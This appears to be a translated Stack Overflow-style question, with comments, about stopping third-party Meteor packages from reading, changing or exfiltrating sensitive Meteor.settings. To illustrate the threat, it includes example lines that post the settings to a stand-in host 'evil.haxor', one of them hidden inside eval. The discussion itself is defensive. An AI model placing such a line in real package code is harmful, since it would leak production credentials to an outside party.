【发布时间】:2015-05-17 19:13:58
【问题描述】:
我已经测试过,这两个东西在 3rd 方包中是允许的:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
我希望能够保护我的设置免受第 3 方的影响。
场景:
- 我的
Meteor.settings文件中有敏感数据,尤其是在生产环境中,因为这是当前放置它们的最佳实践位置。 - 我使用第 3 方流星包,例如
iron:router,但可能是由鲜为人知的作者提供的。 - 其中一个第 3 方包查找我的
Meteor.settings并发布了一个 HTTP 帖子,其中我的一些设置被一起发送。
HTTP.post('http://evil.haxor', Meteor.settings) # all ur settings
轰隆隆。我立即泄露了我的生产凭证、我的支付网关、亚马逊或其他任何东西。更糟糕的是,据我所知,窃取我的settings 的代码可能会被加载并eval'd 所以我什至看不到包源中的字符串“Meteor.settings”。
我已经测试过,这两个东西在 3rd 方包中是允许的:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
我乐于接受老套的解决方案。我知道 Meteor 团队可能不会马上解决这个问题,考虑到他们的所有工作(Windows 支持,非 Mongo DB)。我只是希望能够为我的公司提供这种级别的安全性,我认为对他们来说会让他们的审计师发现这种开放程度。否则,我担心我会手动对我使用的每个包进行安全审核。
感谢您的考虑!
编辑:我现在看到一个包看到/窃取设置的风险本质上与任何包读取(或写入)您的文件系统的问题相同。解决这个问题的最好方法是加密。这是一个有效的提议,我可以立即使用。但是,我认为可能并且应该存在“包范围”设置的概念。此外,与评论者的对话让我意识到另一个问题,即设置在运行时(轻松)可修改的问题,可以通过使用 ES5 属性将设置对象设为只读来解决。
【问题讨论】:
-
通过模块暴露的节点与包环境中暴露的 Meteor 之间存在差异。您可以知道模块是否访问了您的文件系统。您不会知道一个包是否使用了在同一进程中公开的设置。我认为可以专门针对设置进行安全收紧。
-
您是否考虑过加密您的数据?正如@stubailo 所说,可能无法 100% 确定数据是安全的,因为模块无论如何都可以访问您的文件系统(这不是 Meteor 特有的问题),但如果您只想拒绝非常微不足道的攻击,类似于您上面描述的,那么我认为它可能足以满足您的需求。
-
我认为加密数据可能是短期内可行的解决方案,@apendua。我会投票给这个答案。虽然我对将设置对象设为只读的想法很感兴趣,但这解决了一个稍微不同的问题。
-
如果有问题的包无法解密,你会用什么加密它?